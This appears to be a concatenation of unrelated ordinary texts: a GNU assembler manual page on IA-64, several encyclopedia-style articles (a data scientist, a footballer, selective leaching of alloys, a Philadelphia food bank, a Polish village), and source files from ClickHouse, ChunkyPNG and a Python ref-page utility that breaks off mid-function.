```html <html lang="en"> <head> <title>IA-64-Dependent - Using as</title> <meta http-equiv="Content-Type" content="text/html"> <meta name="description" content="Using as"> <meta name="generator" content="makeinfo 4.11"> <link title="Top" rel="start" href="index.html#Top"> <link rel="up" href="Machine-Dependencies.html#Machine-Dependencies" title="Machine Dependencies"> <link rel="prev" href="i960_002dDependent.html#i960_002dDependent" title="i960-Dependent"> <link rel="next" href="IP2K_002dDependent.html#IP2K_002dDependent" title="IP2K-Dependent"> <link href="path_to_url" rel="generator-home" title="Texinfo Homepage"> <!-- This file documents the GNU Assembler "as". Permission is granted to copy, distribute and/or modify this document or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the --> <meta http-equiv="Content-Style-Type" content="text/css"> <style type="text/css"><!-- pre.display { font-family:inherit } pre.format { font-family:inherit } pre.smalldisplay { font-family:inherit; font-size:smaller } pre.smallformat { font-family:inherit; font-size:smaller } pre.smallexample { font-size:smaller } pre.smalllisp { font-size:smaller } span.sc { font-variant:small-caps } span.roman { font-family:serif; font-weight:normal; } span.sansserif { font-family:sans-serif; font-weight:normal; } --></style> </head> <body> <div class="node"> <p> <a name="IA-64-Dependent"></a> <a name="IA_002d64_002dDependent"></a> Next:&nbsp;<a rel="next" accesskey="n" href="IP2K_002dDependent.html#IP2K_002dDependent">IP2K-Dependent</a>, Previous:&nbsp;<a rel="previous" accesskey="p" href="i960_002dDependent.html#i960_002dDependent">i960-Dependent</a>, Up:&nbsp;<a rel="up" accesskey="u" href="Machine-Dependencies.html#Machine-Dependencies">Machine Dependencies</a> <hr> </div> <h3 class="section">9.18 IA-64 Dependent Features</h3> <p><a name="index-IA_002d64-support-1212"></a> <ul class="menu"> <li><a accesskey="1" href="IA_002d64-Options.html#IA_002d64-Options">IA-64 Options</a>: Options <li><a accesskey="2" href="IA_002d64-Syntax.html#IA_002d64-Syntax">IA-64 Syntax</a>: Syntax <!-- * IA-64 Floating Point:: Floating Point // to be written --> <!-- * IA-64 Directives:: IA-64 Machine Directives // to be written --> <li><a accesskey="3" href="IA_002d64-Opcodes.html#IA_002d64-Opcodes">IA-64 Opcodes</a>: Opcodes </ul> </body></html> ```
Foster Provost is an American computer scientist, information systems researcher, and Professor of Data Science and Information Systems and Ira Rennert Professor of Entrepreneurship at New York University's Stern School of Business. He is also the Director for the Data Science and AI Initiative at Stern's Fubon Center for Technology, Business and Innovation. Professor Provost has a Bachelor of Science from Duquesne University in physics and mathematics and a Master of Science and Ph.D. in computer science from the University of Pittsburgh. Professor Provost is known for his work on evaluating machine learning algorithms using ROC analysis, for his work on social network data analysis, for his work on combining humans and machine learning, and for his work on machine learning for targeted marketing, online advertising, and activity monitoring. He has won awards for his work, including: The 2020 ACM SIGKDD Test of Time Award The 2017 European Research Paper of the Year (AIS & CIONET). The best paper in the journal Information Systems Research in 2015. The 2009 INFORMS Design Science award for social network-based marketing, IBM Faculty Awards for outstanding research in data mining and machine learning, A President’s Award from NYNEX Science and Technology Best Paper Awards from the ACM SIGKDD conference in 1997, 2008, and 2012, and Awards in SIGKDD’s annual KDDCUP data mining competition. Professor Provost was on the founding teams for five startups, including Dstillery, Integral Ad Science (IAS), Everyscreen Media, Predicube, and Detectica. Professor Provost is coauthor (with Tom Fawcett) of the book, Data Science for Business, which often tops Amazon's best-seller lists in data mining and data modeling. Professor Provost is a Scientific Advisor for the ISI Foundation (which awards the Lagrange Prize), served as Editor-in-Chief of the journal Machine Learning for 6+ years. He is a member of the editorial boards of the Journal of Machine Learning Research (JMLR) and the journal Data Mining and Knowledge Discovery (DMKD/DAMI). He was elected as a founding board member of the International Machine Learning Society. Sources External links Year of birth missing (living people) Living people Duquesne University alumni Information systems researchers New York University faculty University of Pittsburgh alumni
The monument to Enrico Martínez (Spanish: ) is installed next to the Mexico City Metropolitan Cathedral and Zócalo, in the historic center of Mexico City, Mexico. References External links Historic center of Mexico City Monuments and memorials in Mexico City Outdoor sculptures in Mexico City Statues in Mexico City
Marcos Gustavo Mondaini (born 14 February 1985 in Sáenz Peña) is an Argentine former professional footballer who played as a striker. Career South America Mondaini began his career in the youth ranks of top Argentine side Boca Juniors, debuting with the first team during the 2004 Apertura season. While with Boca, Mondaini appeared in six league matches. Mondaini spent the 2006–07 season on loan with Ecuadorian club Emelec. During his one season with Emelec he appeared in 41 matches and scored 12 goals. After the season, he was recognized as the top player in Ecuador's Serie A for 2006. In 2008, he returned to Ecuador to play for Emelec's arch-rival, Barcelona SC. While with Barcelona SC he appeared in 21 matches and scored 3 goals. After returning briefly to Boca, Mondaini was loaned out to Uruguay's Nacional. While with Nacional he helped the club in capturing the 2008–09 league title. He also participated in the 2009 Copa Libertadores for Nacional appearing in seven matches and scoring two goals as the club reached the semi-final stage. In 2010, he joined Colombia's Atlético Nacional. On 31 July 2010, "The devil", in his debut, scored his first goal for Atlético Nacional in a 3–1 defeat against Deportivo Cali in the third round of the Torneo Finalización of Colombia. United States Mondaini was loaned from Centro Atlético Fénix of the Uruguayan Primera División to C.D. Chivas USA of Major League Soccer on 1 March 2011. He scored his first goal for his new club on 30 April in a 3–0 win over New England Revolution. On 7 May 2011 he made a tackle from behind with no chance of getting the ball on Real Salt Lake's Javier Morales, sending him off the field with a dislocated ankle and two broken bones. Morales was out for several months. Mondaini received a suspension of four games: 3 games for the tackle plus 1 game for the red card. After one season in MLS, Mondaini signed with his former Ecuadorian club Emelec in January 2012. Career statistics Honours Club Boca Juniors Copa Libertadores (1): 2007 Emelec Serie A Runner-up (2): 2006, 2012 Serie A (2): 2013, 2014 Individual Emelec Serie A Assist Leader (2): 2006, 2012 Serie A Best Foreign Player: 2006 Serie A Best Player: 2006 References External links MLS player profile Argentine Primera statistics Estadio.com article, Oct. 5, 2006 1985 births Living people Argentine men's footballers Argentine expatriate men's footballers Boca Juniors footballers Guayaquil City F.C. footballers C.S. Emelec footballers Barcelona S.C. footballers Club Nacional de Football players Atlético Nacional footballers Centro Atlético Fénix players Chivas USA players Argentine Primera División players Uruguayan Primera División players Categoría Primera A players Ecuadorian Serie A players Major League Soccer players Men's association football wingers Argentine expatriate sportspeople in Uruguay Argentine expatriate sportspeople in Colombia Argentine expatriate sportspeople in Ecuador Argentine expatriate sportspeople in the United States Expatriate men's footballers in Uruguay Expatriate men's footballers in Colombia Expatriate men's footballers in Ecuador Expatriate men's soccer players in the United States People from Presidencia Roque Sáenz Peña Footballers from Chaco Province
In metallurgy, selective leaching, also called dealloying, demetalification, parting and selective corrosion, is a corrosion type in some solid solution alloys, when in suitable conditions a component of the alloys is preferentially leached from the initially homogenous material. The less noble metal is removed from the alloy by a microscopic-scale galvanic corrosion mechanism. The most susceptible alloys are the ones containing metals with high distance between each other in the galvanic series, e.g. copper and zinc in brass. The elements most typically undergoing selective removal are zinc, aluminium, iron, cobalt, chromium, and others. Leaching of zinc The most common example is selective leaching of zinc from brass alloys containing more than 15% zinc (dezincification) in the presence of oxygen and moisture, e.g. from brass taps in chlorine-containing water. Dezincification has been studied since the Civil War era, and the mechanism by which it occurs was under extensive examination by the 1960s. It is believed that both copper and zinc gradually dissolve out simultaneously, and copper precipitates back from the solution. The material remaining is a copper-rich sponge with poor mechanical properties, and a color changed from yellow to red. Dezincification can be caused by water containing sulfur, carbon dioxide, and oxygen. Stagnant or low velocity waters tend to promote dezincification. To combat this, arsenic or tin can be added to brass, or gunmetal can be used instead. Dezincification resistant brass (DZR), also known as Brass C352 is an alloy used to make pipe fittings for use with potable water. Plumbing fittings that are resistant to dezincification are appropriately marked, with the letters "CR" (Corrosion Resistant) or DZR (dezincification resistant) in the UK, and the letters "DR" (dezincification resistant) in Australia. Graphitic corrosion Graphitic corrosion is selective leaching of iron, from grey cast iron, where iron is removed and graphite grains remain intact. Affected surfaces develop a layer of graphite, rust, and metallurgical impurities that may inhibit further leaching. The effect can be substantially reduced by alloying the cast iron with nickel. Leaching of other elements Dealuminification is a corresponding process for aluminum alloys. Similar effects for different metals are decarburization (removal of carbon from the surface of alloy), decobaltification, denickelification, etc. The prototypical system for dealloying to create nano-porous metals is the np-Au system, which is created by selectively leaching Ag out of an Au-Ag homogenous alloy. Mechanisms Liquid Metal Dealloying When an initially homogenous alloy is placed in an acid that can preferentially dissolve one or more components out of the alloy, the remaining component will diffuse and organize into a unique, nano-porous microstructure. The resulting material will have ligaments, formed by the remaining material, surrounded by pores, empty space from which atoms were leached/diffused away. Porosity Development The way that porosity develops during the dealloying process has been studied computationally to understand the diffusional pathways on an atomistic level. Firstly, the less noble atoms must be dissolved away from the surface of the alloy. This process is easiest for the lower coordinated atoms, i.e., those bonded to fewer other atoms, usually found as single atoms sitting on the surface ("adatoms"), but it is more difficult for higher coordinated atoms, i.e., those sitting at "steps" or in the bulk of the material. Thus, the slowest step, and that which is most important for determining rate of porosity evolution is the dissolution of these higher coordinated less noble atoms. Just as the less noble metal is less stable as an adatom on the surface, so is an atom of the more noble metal. Therefore, as dissolution proceeds, any more noble atoms will move to more stable positions, like steps, where its coordination is higher. This diffusion process is similar to spinodal decomposition. Eventually, clusters of more noble atoms form this way, and surrounding less noble atoms dissolve away, leaving behind a "bicontinuous structure" and providing a pathway for dissolution to continue deeper into the metal. Effects on Mechanical Properties Testing Methods Due to the relatively small sample size achievable with dealloying, the mechanical properties of these materials are often probed using the following techniques: Nanoindentation Micropillar compression Deflection testing of bridges Thin-film wrinkling Strength and Stiffness of Nano-porous Materials A common concept in materials science is that, at ambient conditions, smaller features (like grain size or absolute size) generally lead to stronger materials (see Hall-Petch strengthening, Weibull statistics). However, due to the high-level of porosity in the dealloyed materials, their strengths and stiffnesses are relatively low compared to the bulk counterparts. The decrease in strength due to porosity can be described with the Gibson-Ashby (GA) relations, which give the yield strength and Young's modulus of a foam according to the following equations: where and are geometric constants, and are microstructure dependent exponents, and is the relative density of the foam. The GA relations can be used to estimate the strength and stiffness of a given dealloyed, porous material, but more extensive study has revealed an additional factor: ligament size. When the ligament diameter is greater than 100 nm, increasing ligament size leads to greater agreement between GA predictions and experimental measurements of yield stress and Young's modulus. However, when the ligament size is under 100 nm, which is very common in many dealloying processes, there is an addition to the GA strength that looks similar to Hall-Petch strengthening of bulk polycrystalline metals (i.e., the yield stress increases with the inverse square root of grain size). Combining this relationship with the GA relation from before, an expression for the yield stress of dealloyed materials with ligaments smaller than 100 nm can be determined: where A and m are empirically determined constants, and is the ligament size. The represents the Hall-Petch-like contribution. There are two theories for why this increase in strength occurs: 1) dislocations are less common in smaller sample volumes, so deformation requires activation of sources (which is a more difficult process), or 2) dislocations pile-up, which strengthens the material. Either way, there would be significant surface and small volume effects in the ligaments <100 nm, which lead to this increase in yield stress. A relationship between ligament size and Young's modulus has not been studied past the GA relation. Occasionally, the metastable nature of these materials means that ligaments in the structure may "pinch off" due to surface diffusion, which decreases the connectivity of the structure, and reduces the strength of the dealloyed material past what would be expected from simply porosity (as predicted by the Gibson-Ashby relations). Dislocation Motion in nano-porous materials Because the ligaments of these materials are essentially small metallic samples, they are themselves expected to be quite ductile; although, the entire nano-porous material is often observed to be brittle in tension. Dislocation behavior is extensive within the ligaments (just as would be expected in a metal): a high density. of partial dislocations, stacking faults and twins have been observed both in simulation and in TEM. However, the morphology of the ligaments makes bulk dislocation motion very difficult; the limited size of each ligament and complex connectivity within the nano-porous structure means that a dislocation cannot freely travel long distances and thus induce large-scale plasticity. Countermeasures Countermeasures involve using alloys not susceptible to grain boundary depletion, using a suitable heat treatment, altering the environment (e.g. lowering oxygen content), and/or use cathodic protection. Uses Selective leaching can be used to produce powdered materials with extremely high surface area, such as Raney nickel and other heterogeneous catalysts. Selective leaching can be the pre-final stage of depletion gilding. See also Corrosion engineering References External links Dezincification Corrosion prevention Corrosion Nanotechnology
Share Food Program is a social services organization working for hunger relief in the Philadelphia region of Pennsylvania, United States. It serves as a food bank to the communities in accordance with USDA civil rights regulations and feeds more than 1 million people each month in Philadelphia and the suburbs. Share Food Program is the largest hunger-relief agency in the Greater Philadelphia area. History Share Food Program was founded in 1985 as a 501(c)(3) non-profit organization, focused on increasing access to low-cost food in Philadelphia, using a food co-operative model. Beginning in 1991, it expanded its operations to fight hunger, by getting food to people in need throughout the city. During the COVID-19 outbreak that began in March 2020, the organization partnered with SEAMAAC, a Philadelphia-based non-profit to distribute 1,000 meals and food boxes a day since mid-May 2020. In October 2020, it received grant from William Penn Foundation and, along with other donations, was able to give away 10 million pounds of food. In January 2021, State Senator Vincent Hughes presented state funding to the Share Food Program for warehouse maintenance. On the National Day of Service, over 100 volunteers participated to distribute food to seniors’ programs and families in need. In February 2021, the organization received a grant from Dunkin Joy in Childhood Foundation. Overview Share Food Program distributes food to 1 million needy people each month, over 50% of whom are children, and 12% of whom are seniors or people with disabilities. It also serves 305,000 children through the national school lunch and breakfast program to 69 regional districts in Philadelphia. The food comes from government partners, supermarkets, wholesalers, restaurants, farms and food drives. The organization also partners with 150 pantries around Philadelphia as part of its Partner Pantries program. Other programs include food relief, MontCo hunger solutions, nice roots farm and home deliveries. References External links Share Food Programs Hunger relief organizations Organizations established in 1985 Organizations based in Philadelphia
Songgang Park station (), is a station on Line 6 of the Shenzhen Metro. It opened on 18 August 2020. Station layout Exits References External links Shenzhen Metro stations Bao'an District Railway stations in China opened in 2020
```c++ #include <DataTypes/DataTypesNumber.h> #include <DataTypes/DataTypeFactory.h> #include <Parsers/IAST.h> namespace DB { namespace ErrorCodes { extern const int NUMBER_OF_ARGUMENTS_DOESNT_MATCH; } template <typename T> static DataTypePtr createNumericDataType(const ASTPtr & arguments) { if (arguments) { if (std::is_integral_v<T>) { if (arguments->children.size() > 1) throw Exception(ErrorCodes::NUMBER_OF_ARGUMENTS_DOESNT_MATCH, "{} data type family must not have more than one argument - display width", TypeName<T>); } else { if (arguments->children.size() > 2) throw Exception(ErrorCodes::NUMBER_OF_ARGUMENTS_DOESNT_MATCH, "{} data type family must not have more than two arguments - total number " "of digits and number of digits following the decimal point", TypeName<T>); } } return std::make_shared<DataTypeNumber<T>>(); } bool isUInt64ThatCanBeInt64(const DataTypePtr & type) { const DataTypeUInt64 * uint64_type = typeid_cast<const DataTypeUInt64 *>(type.get()); return uint64_type && uint64_type->canUnsignedBeSigned(); } void registerDataTypeNumbers(DataTypeFactory & factory) { factory.registerDataType("UInt8", createNumericDataType<UInt8>); factory.registerDataType("UInt16", createNumericDataType<UInt16>); factory.registerDataType("UInt32", createNumericDataType<UInt32>); factory.registerDataType("UInt64", createNumericDataType<UInt64>); factory.registerDataType("Int8", createNumericDataType<Int8>); factory.registerDataType("Int16", createNumericDataType<Int16>); factory.registerDataType("Int32", createNumericDataType<Int32>); factory.registerDataType("Int64", createNumericDataType<Int64>); factory.registerDataType("Float32", createNumericDataType<Float32>); factory.registerDataType("Float64", createNumericDataType<Float64>); factory.registerSimpleDataType("UInt128", [] { return DataTypePtr(std::make_shared<DataTypeUInt128>()); }); factory.registerSimpleDataType("UInt256", [] { return DataTypePtr(std::make_shared<DataTypeUInt256>()); }); factory.registerSimpleDataType("Int128", [] { return DataTypePtr(std::make_shared<DataTypeInt128>()); }); factory.registerSimpleDataType("Int256", [] { return DataTypePtr(std::make_shared<DataTypeInt256>()); }); /// These synonyms are added for compatibility. factory.registerAlias("TINYINT", "Int8", DataTypeFactory::Case::Insensitive); factory.registerAlias("INT1", "Int8", DataTypeFactory::Case::Insensitive); factory.registerAlias("BYTE", "Int8", DataTypeFactory::Case::Insensitive); factory.registerAlias("TINYINT SIGNED", "Int8", DataTypeFactory::Case::Insensitive); factory.registerAlias("INT1 SIGNED", "Int8", DataTypeFactory::Case::Insensitive); factory.registerAlias("SMALLINT", "Int16", DataTypeFactory::Case::Insensitive); factory.registerAlias("SMALLINT SIGNED", "Int16", DataTypeFactory::Case::Insensitive); factory.registerAlias("INT", "Int32", DataTypeFactory::Case::Insensitive); factory.registerAlias("INTEGER", "Int32", DataTypeFactory::Case::Insensitive); factory.registerAlias("MEDIUMINT", "Int32", DataTypeFactory::Case::Insensitive); factory.registerAlias("MEDIUMINT SIGNED", "Int32", DataTypeFactory::Case::Insensitive); factory.registerAlias("INT SIGNED", "Int32", DataTypeFactory::Case::Insensitive); factory.registerAlias("INTEGER SIGNED", "Int32", DataTypeFactory::Case::Insensitive); factory.registerAlias("BIGINT", "Int64", DataTypeFactory::Case::Insensitive); factory.registerAlias("SIGNED", "Int64", DataTypeFactory::Case::Insensitive); factory.registerAlias("BIGINT SIGNED", "Int64", DataTypeFactory::Case::Insensitive); factory.registerAlias("TIME", "Int64", DataTypeFactory::Case::Insensitive); factory.registerAlias("TINYINT UNSIGNED", "UInt8", DataTypeFactory::Case::Insensitive); factory.registerAlias("INT1 UNSIGNED", "UInt8", DataTypeFactory::Case::Insensitive); factory.registerAlias("SMALLINT UNSIGNED", "UInt16", DataTypeFactory::Case::Insensitive); factory.registerAlias("YEAR", "UInt16", DataTypeFactory::Case::Insensitive); factory.registerAlias("MEDIUMINT UNSIGNED", "UInt32", DataTypeFactory::Case::Insensitive); factory.registerAlias("INT UNSIGNED", "UInt32", DataTypeFactory::Case::Insensitive); factory.registerAlias("INTEGER UNSIGNED", "UInt32", DataTypeFactory::Case::Insensitive); factory.registerAlias("UNSIGNED", "UInt64", DataTypeFactory::Case::Insensitive); factory.registerAlias("BIGINT UNSIGNED", "UInt64", DataTypeFactory::Case::Insensitive); factory.registerAlias("BIT", "UInt64", DataTypeFactory::Case::Insensitive); factory.registerAlias("SET", "UInt64", DataTypeFactory::Case::Insensitive); factory.registerAlias("FLOAT", "Float32", DataTypeFactory::Case::Insensitive); factory.registerAlias("REAL", "Float32", DataTypeFactory::Case::Insensitive); factory.registerAlias("SINGLE", "Float32", DataTypeFactory::Case::Insensitive); factory.registerAlias("DOUBLE", "Float64", DataTypeFactory::Case::Insensitive); factory.registerAlias("DOUBLE PRECISION", "Float64", DataTypeFactory::Case::Insensitive); } /// Explicit template instantiations. template class DataTypeNumber<UInt8>; template class DataTypeNumber<UInt16>; template class DataTypeNumber<UInt32>; template class DataTypeNumber<UInt64>; template class DataTypeNumber<Int8>; template class DataTypeNumber<Int16>; template class DataTypeNumber<Int32>; template class DataTypeNumber<Int64>; template class DataTypeNumber<Float32>; template class DataTypeNumber<Float64>; template class DataTypeNumber<UInt128>; template class DataTypeNumber<Int128>; template class DataTypeNumber<UInt256>; template class DataTypeNumber<Int256>; } ```
Głomsk is a village in the administrative district of Gmina Zakrzewo, within Złotów County, Greater Poland Voivodeship, in north-central Poland. It lies approximately north of Zakrzewo, north-east of Złotów, and north of the regional capital Poznań. History The territory became a part of the emerging Polish state under its first historic ruler Mieszko I in the 10th century. Głomsk was a private village of Polish nobility, including the Potulicki, Grudziński and Działyński families, administratively located in the Nakło County in the Kalisz Voivodeship in the Greater Poland Province. It was annexed by Prussia in the First Partition of Poland in 1772, and from 1871 it was also part of Germany. In 1939, the Germans carried out arrests of local Polish teachers, who were afterwards executed (see Nazi crimes against the Polish nation). After Germany's defeat in World War II, in 1945, the village was restored to Poland. References Villages in Złotów County
Albert J. Crumeyrolle (1919–1992) was a French mathematician and professor of mathematics at the Paul Sabatier University, known for his contributions to spinor structures and Clifford algebra. Work Crumeyrolle was a student of André Lichnerowicz under whose supervision he completed a thesis in 1961. His first important paper after completing his doctorate addressed spinor structures using methods of Clifford algebras developed by Claude Chevalley. Crumeyrolle is known for his major contributions to theories of Clifford algebras and spinor structures. In 1975 he laid the foundations for symplectic Clifford algebra and the symplectic spinor. An earlier publication by two other authors, Nouazé and Revoy, had appeared three years before in which Weyl algebras were treated from a Cliffordian point of view. Crumeyrolle however drew more attention to the topic, and, as emphasized by Jacques Helmstetter, he contributed original ideas of his own. His work on symplectic Clifford algebras however came under serious critique on mathematical grounds. The mathematician Artibano Micali recalled Crumeyrolle stating that periodicity of Clifford algebras should play a similar role for elementary particle physics as the periodic classification of elements by Dmitri Mendeleev has played for the periodic table of elements. Crumeyrolle taught in Iran in 1966, in several Europe countries and, in 1973, at Stanford University summer school. Publications Books Orthogonal and symplectic Clifford algebras: Spinor Structures, 1990 Albert Crumeyrolle & J. Grifone: Symplectic geometry, Pitman Advanced Publishing Program, 1983 Algèbres de Clifford et spineurs, 1974 Bases géométriques de la topologie algébrique, 1970 Compléments d'algèbre moderne, 1969 Notions fondamentales d'algèbre moderne, 1967 Further reading Rafał Abłamowicz, Pertti Lounesto (eds.): Clifford algebras and spinor structures: a special volume dedicated to the memory of Albert Crumeyrolle (1919–1992), Kluwer Academic Publishers, 1995, Z. Ozievicz, Cz. Sitarczyk: Parallel treatment of Riemannian and symplectic Clifford algebras. In: A. Micali, R. Boudet, J. Helmstetter (eds.): Clifford Algebras and their Applications in Mathematical Physics: Workshop Proceedings: 2nd (Fundamental Theories of Physics), Kluwer Academic Publishers, 1992, , p. 83–96 References 1919 births 1992 deaths 20th-century French mathematicians
```ruby # Basic requirements from standard library require 'set' require 'zlib' require 'stringio' require 'enumerator' # ChunkyPNG - the pure ruby library to access PNG files. # # The ChunkyPNG module defines some constants that are used in the # PNG specification, specifies some exception classes, and serves as # a namespace for all the other modules and classes in this library. # # {ChunkyPNG::Image}:: class to represent PNG images, including metadata. # {ChunkyPNG::Canvas}:: class to represent the image's canvas. # {ChunkyPNG::Color}:: module to work with color values. # {ChunkyPNG::Palette}:: represents the palette of colors used on a {ChunkyPNG::Canvas}. # {ChunkyPNG::Datastream}:: represents the internal structure of a PNG {ChunkyPNG::Image}. # {ChunkyPNG::Color}:: represents one chunk of data within a {ChunkyPNG::Datastream}. # {ChunkyPNG::Point}:: geometry helper class representing a 2-dimensional point. # {ChunkyPNG::Dimension}:: geometry helper class representing a dimension (i.e. width x height). # {ChunkyPNG::Vector}:: geometry helper class representing a series of points. # # @author Willem van Bergen module ChunkyPNG ################################################### # PNG international standard defined constants ################################################### # Indicates that the PNG image uses grayscale colors, i.e. only a # single teint channel. # @private COLOR_GRAYSCALE = 0 # Indicates that the PNG image uses true color, composed of a red # green and blue channel. # @private COLOR_TRUECOLOR = 2 # Indicates that the PNG image uses indexed colors, where the values # point to colors defined on a palette. # @private COLOR_INDEXED = 3 # Indicates that the PNG image uses grayscale colors with opacity, i.e. # a teint channel with an alpha channel. # @private COLOR_GRAYSCALE_ALPHA = 4 # Indicates that the PNG image uses true color with opacity, composed of # a red, green and blue channel, and an alpha value. # @private COLOR_TRUECOLOR_ALPHA = 6 # Indicates that the PNG specification's default compression # method is used (Zlib/Deflate) # @private COMPRESSION_DEFAULT = 0 # Indicates that the image does not use interlacing. # @private INTERLACING_NONE = 0 # Indicates that the image uses Adam7 interlacing. # @private INTERLACING_ADAM7 = 1 ### Filter method constants # Indicates that the PNG specification's default filtering are # being used in the image. # @private FILTERING_DEFAULT = 0 # Indicates that no filtering is used for the scanline. # @private FILTER_NONE = 0 # Indicates that SUB filtering is used for the scanline. # @private FILTER_SUB = 1 # Indicates that UP filtering is used for the scanline. # @private FILTER_UP = 2 # Indicates that AVERAGE filtering is used for the scanline. # @private FILTER_AVERAGE = 3 # Indicates that PAETH filtering is used for the scanline. # @private FILTER_PAETH = 4 ################################################### # ChunkyPNG exception classes ################################################### # Default exception class for ChunkyPNG class Exception < ::StandardError end # Exception that is raised for an unsupported PNG image. class NotSupported < ChunkyPNG::Exception end # Exception that is raised if the PNG signature is not encountered at the # beginning of the file. class SignatureMismatch < ChunkyPNG::Exception end # Exception that is raised if the CRC check for a block fails class CRCMismatch < ChunkyPNG::Exception end # Exception that is raised if an expectation fails. class ExpectationFailed < ChunkyPNG::Exception end # Exception that is raised if an expectation fails. class OutOfBounds < ChunkyPNG::ExpectationFailed end def self.force_binary(str) str.respond_to?(:force_encoding) ? str.force_encoding('BINARY') : str end # Empty byte array. This basically is an empty string, but with the encoding # set correctly to ASCII-8BIT (binary) in Ruby 1.9. # @return [String] An empty string, with encoding set to binary in Ruby 1.9 # @private EMPTY_BYTEARRAY = force_binary("").freeze # Null-byte, with the encoding set correctly to ASCII-8BIT (binary) in Ruby 1.9. # @return [String] A binary string, consisting of one NULL-byte. # @private EXTRA_BYTE = force_binary("\0").freeze end require 'chunky_png/version' # Ruby 1.8 / 1.9 compatibility require 'chunky_png/compatibility' # PNG file structure require 'chunky_png/datastream' require 'chunky_png/chunk' # Colors require 'chunky_png/palette' require 'chunky_png/color' # Geometry require 'chunky_png/point' require 'chunky_png/vector' require 'chunky_png/dimension' # Canvas / Image classes require 'chunky_png/canvas' require 'chunky_png/image' ```
Żbik ("wildcat" in Polish) or Zbik may refer to: ORP Żbik, a Polish submarine Kapitan Żbik a Polish comic book series and hero Żbik Group, a group of conspiracy military units of Polish Armia Krajowa Mieczysław Kawalec (nom de guerre "Żbik"), a Polish resistance fighter Lake Żbik, Poland Sebastian Zbik, a German boxer See also Żbiki Żbikowski
```python #!/usr/bin/env python3 # # # Utility functions for automatic ref page generation and other script stuff import io import re import sys import subprocess # global errFile, warnFile, diagFile errFile = sys.stderr warnFile = sys.stdout diagFile = None logSourcefile = None logProcname = None logLine = None def unescapeQuotes(s): """Remove \' escape sequences in a string (refpage description)""" return s.replace('\\\'', '\'') def write(*args, **kwargs ): file = kwargs.pop('file',sys.stdout) end = kwargs.pop('end','\n') file.write(' '.join(str(arg) for arg in args)) file.write(end) def setLogSourcefile(filename): """Metadata which may be printed (if not None) for diagnostic messages""" global logSourcefile logSourcefile = filename def setLogProcname(procname): global logProcname logProcname = procname def setLogLine(line): global logLine logLine = line def logHeader(severity): """Generate prefix for a diagnostic line using metadata and severity""" global logSourcefile, logProcname, logLine msg = severity + ': ' if logProcname: msg = msg + ' in ' + logProcname if logSourcefile: msg = msg + ' for ' + logSourcefile if logLine: msg = msg + ' line ' + str(logLine) return msg + ' ' def setLogFile(setDiag, setWarn, filename): """Set the file handle to log either or both warnings and diagnostics to. - setDiag and setWarn are True if the corresponding handle is to be set. - filename is None for no logging, '-' for stdout, or a pathname.""" global diagFile, warnFile if filename is None: return if filename == '-': fp = sys.stdout else: fp = open(filename, 'w', encoding='utf-8') if setDiag: diagFile = fp if setWarn: warnFile = fp def logDiag(*args, **kwargs): file = kwargs.pop('file', diagFile) end = kwargs.pop('end','\n') if file is not None: file.write(logHeader('DIAG') + ' '.join(str(arg) for arg in args)) file.write(end) def logWarn(*args, **kwargs): file = kwargs.pop('file', warnFile) end = kwargs.pop('end','\n') if file is not None: file.write(logHeader('WARN') + ' '.join(str(arg) for arg in args)) file.write(end) def logErr(*args, **kwargs): file = kwargs.pop('file', errFile) end = kwargs.pop('end','\n') strfile = io.StringIO() strfile.write(logHeader('ERROR') + ' '.join(str(arg) for arg in args)) strfile.write(end) if file is not None: file.write(strfile.getvalue()) raise UserWarning(strfile.getvalue()) def isempty(s): """Return True if s is nothing but white space, False otherwise""" return len(''.join(s.split())) == 0 class pageInfo: """Information about a ref page relative to the file it is extracted from.""" def __init__(self): self.extractPage = True """True if page should be extracted""" self.Warning = None """string warning if page is suboptimal or cannot be generated""" self.embed = False """False or the name of the ref page this include is embedded within""" self.type = None """refpage type attribute - 'structs', 'protos', 'freeform', etc.""" self.name = None """struct/proto/enumerant/etc. name""" self.desc = None """short description of ref page""" self.begin = None """index of first line of the page (heuristic or // refBegin)""" self.include = None """index of include:: line defining the page""" self.param = None """index of first line of parameter/member definitions""" self.body = None """index of first line of body text""" self.validity = None """index of validity include""" self.end = None """index of last line of the page (heuristic validity include, or // refEnd)""" self.alias = '' """aliases of this name, if supplied, or ''""" self.refs = '' """cross-references on // refEnd line, if supplied""" self.spec = None """'spec' attribute in refpage open block, if supplied, or None for the default ('api') type""" self.anchor = None """'anchor' attribute in refpage open block, if supplied, or inferred to be the same as the 'name'""" def printPageInfoField(desc, line, file): """Print a single field of a pageInfo struct, possibly None. - desc - string description of field - line - field value or None - file - indexed by line""" if line is not None: logDiag(desc + ':', line + 1, '\t-> ', file[line], end='') else: logDiag(desc + ':', line) def printPageInfo(pi, file): """Print out fields of a pageInfo struct - pi - pageInfo - file - indexed by pageInfo""" logDiag('TYPE: ', pi.type) logDiag('NAME: ', pi.name) logDiag('WARNING:', pi.Warning) logDiag('EXTRACT:', pi.extractPage) logDiag('EMBED: ', pi.embed) logDiag('DESC: ', pi.desc) printPageInfoField('BEGIN ', pi.begin, file) printPageInfoField('INCLUDE ', pi.include, file) printPageInfoField('PARAM ', pi.param, file) printPageInfoField('BODY ', pi.body, file) printPageInfoField('VALIDITY', pi.validity, file) printPageInfoField('END ', pi.end, file) logDiag('REFS: "' + pi.refs + '"') def prevPara(file, line): """Go back one paragraph from the specified line and return the line number of the first line of that paragraph. Paragraphs are delimited by blank lines. It is assumed that the current line is the first line of a paragraph. - file is an array of strings - line is the starting point (zero-based)""" # Skip over current paragraph while (line >= 0 and not isempty(file[line])): line = line - 1 # Skip over white space while (line >= 0 and isempty(file[line])): line = line - 1 # Skip to first line of previous paragraph while (line >= 1 and not isempty(file[line-1])): line = line - 1 return line def nextPara(file, line): """Go forward one paragraph from the specified line and return the line number of the first line of that paragraph. Paragraphs are delimited by blank lines. It is assumed that the current line is standalone (which is bogus). - file is an array of strings - line is the starting point (zero-based)""" maxLine = len(file) - 1 # Skip over current paragraph while (line != maxLine and not isempty(file[line])): line = line + 1 # Skip over white space while (line != maxLine and isempty(file[line])): line = line + 1 return line def lookupPage(pageMap, name): """Return (creating if needed) the pageInfo entry in pageMap for name""" if name not in pageMap: pi = pageInfo() pi.name = name pageMap[name] = pi else: pi = pageMap[name] return pi def loadFile(filename): """Load a file into a list of strings. Return the (list, newline_string) or (None, None) on failure""" newline_string = "\n" try: with open(filename, 'rb') as fp: contents = fp.read() if contents.count(b"\r\n") > 1: newline_string = "\r\n" with open(filename, 'r', encoding='utf-8') as fp: lines = fp.readlines() except: 